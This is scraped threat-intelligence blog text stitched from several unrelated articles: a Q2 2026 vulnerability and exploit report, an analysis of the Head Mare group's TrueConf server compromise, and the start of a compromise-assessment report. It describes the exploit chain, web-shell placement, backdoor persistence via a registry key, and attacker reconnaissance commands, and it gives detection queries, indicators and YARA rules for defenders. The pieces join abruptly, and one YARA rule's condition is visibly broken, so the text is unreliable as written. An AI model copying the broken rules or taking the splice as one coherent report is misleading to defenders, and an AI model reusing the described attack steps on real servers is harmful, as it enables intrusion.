4aa9fb1bf9223dfcdac920759bc7a3c7	1c-office-plugin.exe, 1cbroker.exe, trueconf.exe
https://github[.]com/mirror-js/mirror-js
https://github[.]com/browserthemes/resourcepack

The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.

Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.

We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:

• BlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.
• RedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.
• YellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.
• GreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.
• RoguePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.
• UnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.

Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.

Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:

• CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
• CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
• CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive
• CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
• CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.

All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:

• CVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments
• CVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root
• CVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family
• CVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification
• CVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism
• CVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root

The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:

• CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
• CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.

Most common published exploits

The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.

Distribution of published exploits by platform, Q1 2026 (download)

Distribution of published exploits by platform, Q2 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)

In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)

Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

• CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps
• CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process
• CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
• CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism
• CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
• CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user

These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.

LLM/AI tool vulnerabilities

This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.

As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.

The chart below covers registered vulnerabilities in AI tools for 2025–2026.

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:

Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.

Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:

• Inadequate access control over critical system objects
• Improper implementation of authentication and authorization mechanisms
• Injections

It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.

Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.

TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.

CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw

The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.

The attack algorithm exploiting this vulnerability works as follows:

1. The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.
2. There is no validation before use.
3. The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.
4. While connected, the application sends credentials (an access token) to the specified address.

If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:

• User session compromise
• Execution of operations on the user’s behalf
• Modification of the AI agent configuration
• Unauthorized access to tools and resources connected to the agent
• Under certain OpenClaw configurations, further compromise of the host running the agent

It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.

CVE-2026-41948: a path traversal vulnerability in the Dify AI platform

The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.

Depending on the Dify configuration, the consequences can include:

• Unauthorized access to internal service interfaces
• Breach of isolation between workspaces
• Exposure of internal service information
• Conditions favorable to further attacks when combined with other vulnerabilities

The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.

CVE-2026-45386: an improper access control vulnerability in Open WebUI

In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.

The vulnerability’s mechanism works as follows:

1. The user initiates an action that changes the state of an object.
2. The application treats this action as a regular read request.
3. Only channel view permission is checked.
4. The application performs a write without verifying the required user authorization.

This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.

Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.

Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.

CVE-2026-45501: a vulnerability in Microsoft Exchange

The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.

Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.

It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.

Conclusion and advice

Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.

Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.

Overview of the attack

In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.

An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.

The attack occurs in several stages:

1. The attackers connect to the TrueConf server without prior authorization via port 4307/TCP, which, according to the product documentation, is open by default. The attack targets TrueConf servers running versions 5.3.X through 5.3.9, 5.4.X through 5.4.9, and 5.5.X through 5.5.5.
2. Once connected, attackers call a server function to transmit a malicious script and execute it on the server. The vulnerability that allows this stage of the attack to be carried out has been assigned the internal identifier KLCERT-26-057.
3. The received script runs on the TrueConf server in an isolated environment. By default, operating system functions are not accessible in this environment, which should limit the capabilities of the executed code.
4. To escape the isolated environment, attackers exploit a second vulnerability, assigned the internal identifier KLCERT-26-058. Exploiting this vulnerability allows them to bypass the restrictions of the isolated environment and proceed to execute commands in the context of the operating system.
5. Once the environment’s restrictions are bypassed, attackers gain the ability to execute arbitrary code on the server with the privileges of the NT AUTHORITY\SYSTEM account.
6. Once they have gained elevated privileges, attackers replace the file …\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.

This web shell was used for the following activities:

• collecting data on the IT infrastructure;
• gaining privileged access to the TrueConf database;
• replacing the original TrueConf Client distribution with an infected version containing the PhantomCore backdoor.

The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.

The PhantomCore backdoor was successfully detected by Kaspersky solutions.

To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.

Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:

• SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.
• SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.

To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.

We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:

$system32\cmd.exe /c cmd /c ""$temp\cmd_cmd_4488.bat"" 2>&1

Commands detected:

• Memory dump of the lsass.exe process:

• Reconnaissance of the user and system names:

hostname

whoami

"$system32\WindowsPowerShell\v1.0\powershell.exe" -noexit -command Set-Location -literalPath '$system32\inetsrv'

• Launching an SSH reverse tunnel:

In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.

We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.

We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.

We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.

Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.

The attack mechanism and the vulnerabilities exploited are described in more detail on the Kaspersky ICS CERT website.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described above.

The malware used in this attack is detected by our solutions with the following detection names:

• Backdoor.PHP.WebShell.abi,
• Backdoor.Win64.PhantomCore.dt,
• Trojan.Win64.Agent.smgvnc,
• Trojan.Win64.Agent.smgvnb,
• HEUR:Backdoor.Win64.PhantomCore.gen,
• HEUR:Backdoor.Linux.Agent.fb,
• HEUR:Backdoor.Linux.PhantomHook.a,
• HEUR:Backdoor.Linux.PhantomReact.a,
• Trojan.Win64.PhantomGraph.gen
• UDS:Backdoor.Win64.PhantomCore.a

Let’s take a closer look using Kaspersky Endpoint Detection and Response Expert (KEDR Expert) as an example.

Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.

Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.

Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.

The Kaspersky Managed Detection and Response service detects the described attack by monitoring the following actions:

1. Creation of suspicious files by TrueConf Server processes.
2. Execution of a TrueConf Client installer file that lacks a software developer’s signature.
3. Suspicious process chains associated with TrueConf Client executables and TrueConf Client update executables.
4. Registration of suspicious libraries in the HKEY_CURRENT_USER\Software\Classes\CLSID\ registry key.
5. Actions related to retrieving information about the lsass.exe process.
6. Memory dump creation for the lsass.exe process using the comsvcs.dll library.
7. Accessing the memory of the lsass.exe process.
8. Creating tunnels using the ssh process.

To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:

1. Creation of suspicious files in the C:\Windows\System32\inetsrv\* directory:
   R405_07_File write to IIS native modules folder or OWA via WriteData.
2. Creating a memory dump of the lsass.exe process using the comsvcs.dll library:
   R233_04_Process memory dump via comsvcs.dll.
3. Accessing the memory of the lsass.exe process:
   R262_Suspicious access to the LSASS process.

We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:

1. Registration of suspicious libraries in the registry key \Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32:
   

   (DeviceEventClassID = '4657' OR DeviceEventClassID = '13')
   AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'

2. Creating the SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:
   

   DeviceEventClassID = '4697' 
   AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc')
   AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')

3. Creation of suspicious processes originating from the TrueConf update process (trueconf_windows_update.exe)
   

   (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
   AND SourceProcessName LIKE '%\trueconf_windows_update.exe'

For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.

Indicators of compromise

File hashes (MD5)

Web shell
4d27b4eb1c5dbb3d8160f29b8119523e locale.php

Infected installer
748c9f8cb1065000616204935f96207f trueconf_windows_update.exe

PhantomCore DLL
c5a460e4e68a088f6e51b2c6474642ec
129462164a7d52e9ea8560b60f0412c5 doc.txt
ec0bf4a2186a88874e9f26f07cfeb532 usocacheddata.txt
b348642146ea34771e5785c5857950f5
c915cb6c2aeb863ee8479238e1644217 doc.txt
0e79996d9483d1e44fea32b0a48c2c19 doc.txt
2bb75c20e778eb5c416965bd4d4259b1 trueconf_windows_client_x64_[redacted].exe
b3a6fee3307f1c26841fd5c603e2b013 usocacheddata.txt
8fcc3e4ccbf1725d9989fb464abf3561 usocacheddata.txt

PhantomGraph
489f43be558b2679284ceabed7adc4f3 sysexcsvc.dll
dd1fd2b459b97b7d59375cb8383cd19a sysreadsvc.dll
0e4541c3153ec5ed01497f19cf4f63d0 sysexcsvc.dll
12d4e8f5295f2ef7e0f9bfc0f4830939 sysexcsvc.dll
7f267006cac10f341c356b62fe493527 sysexcsvc.dll
ee2861d5965e8730708cd1da8a93fa4c sysexcsvc.dll

Backdoor (ELF)
c3a2abe8756910f42582b04a44ea3514
43f435c3c437bc879a2d7d4634f43494

Rootkit
aee9642b45b099cb7f3053b9b680b425

IP

81.177.32[.]12
194.87.239[.]71 ssh
194.87.93[.]153 ssh
38.244.205[.]244
31.59.102[.]61

Domains

penzadogshelter[.]site
trendy-market[.]site
bright-deals[.]site
nova-stream[.]site
rinomobile[.]ink
urbanpixel[.]store
flexish[.]shop
media-hub[.]today
cosmetic-deals[.]store
vks.gossopka[.]forum

Windows service names

SysExcSvc
SysReadSvc

File paths

C:\Windows\System32\inetsrv\SysExcSvc.dll
C:\Windows\System32\inetsrv\SysReadSvc.dll
C:\Windows\System32\inetsrv\graphi-refresh.dat
C:\Windows\System32\inetsrv\share\input_*.txt
C:\Windows\System32\inetsrv\share\output_*.txt
%TEMP%\cmd_cmd_*.bat
%LOCALAPPDATA%\TrueConf\Client\api-ms-win-crt-time-l1-1-0-2.dll
/etc/systemd/system/omicluster.service
/etc/systemd/system/schedul2-bin.service
/opt/acronis/bin/schedul2-bin
/omi/bin/omicluster
/usr/lib64/libzvbi-tchain.so.2
/var/tmp/cx2

Registry keys

HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32

Kaspersky detection names

Backdoor.PHP.WebShell.abi
Backdoor.Win64.PhantomCore.dt
Trojan.Win64.Agent.smgvnc
Trojan.Win64.Agent.smgvnb
HEUR:Backdoor.Win64.PhantomCore.gen
HEUR:Backdoor.Linux.Agent.fb
HEUR:Backdoor.Linux.PhantomHook.a
HEUR:Backdoor.Linux.PhantomReact.a
Trojan.Win64.PhantomGraph.gen
UDS:Backdoor.Win64.PhantomCore.a

YARA rules

import "pe"
rule apt_HeadMare_PhantomCore
{
meta:
    description = "Rule to detect PhantomCore used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "c5a460e4e68a088f6e51b2c6474642ec"
strings:
    $a1 = "lying.dll" ascii
    $a2 = { 2D 7F 95 4C 2D F4 51 58 }
    $a3 = { 4F 81 67 F7 7E 7B 05 14 }
condition:
    (uint16(0) == 0x5A4D) and (filesize > 4MB) and (filesize  20MB) and (all of them) and (pe.number_of_signatures == 0)
}

rule apt_HeadMare_FakeConf_installer
{
meta:
    description = "Rule to detect any unsigned TrueConf installers"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "748c9f8cb1065000616204935f96207f"

strings:
    $a1 = "TrueConf Setup" wide
    $a2 = "This installation was built with Inno Setup." wide

condition:
    (uint16(0) == 0x5A4D) and (filesize > 20MB) and (all of them) and (pe.number_of_signatures == 0)
}

rule apt_HeadMare_PhantomCore_exchange
{
meta:
    description = "Rule to detect PhantomCore exchange module used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "489f43be558b2679284ceabed7adc4f3"
strings:
    $a1 = "graphi_exchange.dll" ascii
    $a2 = "graphi-client/1.0" ascii
    $b1 = "https://graph.microsoft.com/v1.0/me/drive/root:/" ascii
    $b2 = ":/children?$select=name,id&$top=200" ascii
    $b3 = "offline_access Files.ReadWrite" ascii
    $b4 = "GRAPHI_INSECURE" ascii
    $b5 = "\"@microsoft.graph.conflictBehavior\":\"replace\"}" ascii
    $b6 = "https://login.microsoftonline.com/" ascii
condition:
    (uint16(0) == 0x5A4D) and (any of ($a*)) and (3 of ($b*))
}

rule apt_HeadMare_PhantomCore_executor
{
meta:
    description = "Rule to detect PhantomCore executor module used by HeadMare"
    author = "Kaspersky ICS CERT"
    copyright = "Kaspersky ICS CERT"
    version = "1.0"
    last_modified = "2026-08-02"
    hash = "dd1fd2b459b97b7d59375cb8383cd19a"
strings:
    $a1 = "graphi_reader.dll" ascii
    $a2 = "^input_(.+)\\.txt$" ascii
    $b1 = "output_" ascii
    $b2 = "cmd_cmd_" ascii
    $b3 = "cmd /c \"\"" ascii
    $b4 = "error: failed to start cmd process" ascii
    $b5 = "share" ascii
    $b6 = "SysReadSvc" ascii
condition:
    (uint16(0) == 0x5A4D) and (filesize < 4MB) and (any of ($a*)) and (4 of ($b*))
}

rule apt_HeadMare_FakeLocale_webshell
{
meta:
    description = "Rule to detect the HeadMare TrueConf web shell"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-04"
    hash = "4d27b4eb1c5dbb3d8160f29b8119523e"

strings:
    $a1 = "X-Redirect-Bit" ascii wide nocase
    $a2 = "tc_vcs_web_db_conn" ascii wide
    $a3 = "user=postgres" ascii wide

    $b1 = "UPL ok::" ascii wide
    $b2 = "DWN fail nexs" ascii wide
    $b3 = "DWN fail inv" ascii wide

condition:
    (2 of ($a*)) or (2 of ($b*))
}

rule apt_HeadMare_TrueConf_Rootkit
{
meta:
    description = "Rule to detect the HeadMare rootkit installed on TrueConf servers"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-06"
    hash = "aee9642b45b099cb7f3053b9b680b425"

strings:
    $a1 = "PQconnectdb"
    $a2 = "obfuscated_data"
    $a3 = "install_hook"

condition:
    (uint32(0) == 0x464c457f) and (filesize < 400000) and (all of them)
}

rule apt_HeadMare_Github_Backdoor
{
meta:
    description = "Rule to detect the HeadMare backdoor with Github C2"
    author = "Kaspersky"
    copyright = "Kaspersky"
    version = "1.0"
    last_modified = "2026-08-06"
    hash = "43f435c3c437bc879a2d7d4634f43494"
    hash = "c3a2abe8756910f42582b04a44ea3514"

strings:
    $a1 = "cryptor5crypt"
    $a2 = "execraw_task"
    $a3 = "jitter_task"
    $a4 = "upload_task"
    $a5 = "exec_task"
    $a6 = "react_comment"

condition:
    (uint32(0) == 0x464c457f) and (filesize > 5000000) and (filesize < 10000000) and (4 of them)
}

The following analysis presents the key findings from Kaspersky Compromise Assessment engagements performed in 2025. A compromise assessment is an independent, expert-driven service that examines whether a target network has been compromised. The service combines threat intelligence analysis (including darknet sources), tool-aided endpoint scanning, a systematic review of security event logs and network traffic, and, when necessary, an initial incident response and digital forensic investigation.

This report focuses on missed incidents – threats that remained undetected for weeks, months, or even years.

Key trends observed during compromise assessment engagements

• Proactive compromise assessment decreases the number of missed high-severity incidents. The highest proportions of high-severity incidents were revealed in organizations that requested our compromise assessment service after containing a known incident. The lowest proportions of high-severity incidents were observed in organizations that conducted regular audits. Of all the incidents discovered, 20% were found manually, while enterprises missed 60% because of the absence of high-confidence alerts from the tools in place.
• Nearly a third of discovered incidents took over three months to detect. The longer a threat persisted in the target environment, the greater the likelihood that an incident would be severe. 30.8% of all discovered incidents and 52% of high-severity compromises had historical activity spanning over three months. The oldest incident discovered in 2025 had gone undetected for four years.
• Malicious files often remain in backups and are restored after incident response activities. 40% of all discovered web shells resided in backups and went unnoticed until a proper compromise assessment was conducted.
• Threat actors rely on remote management tools and LoLBins. These types of tools were found in all compromise assessment engagements that resulted in an incident detection.
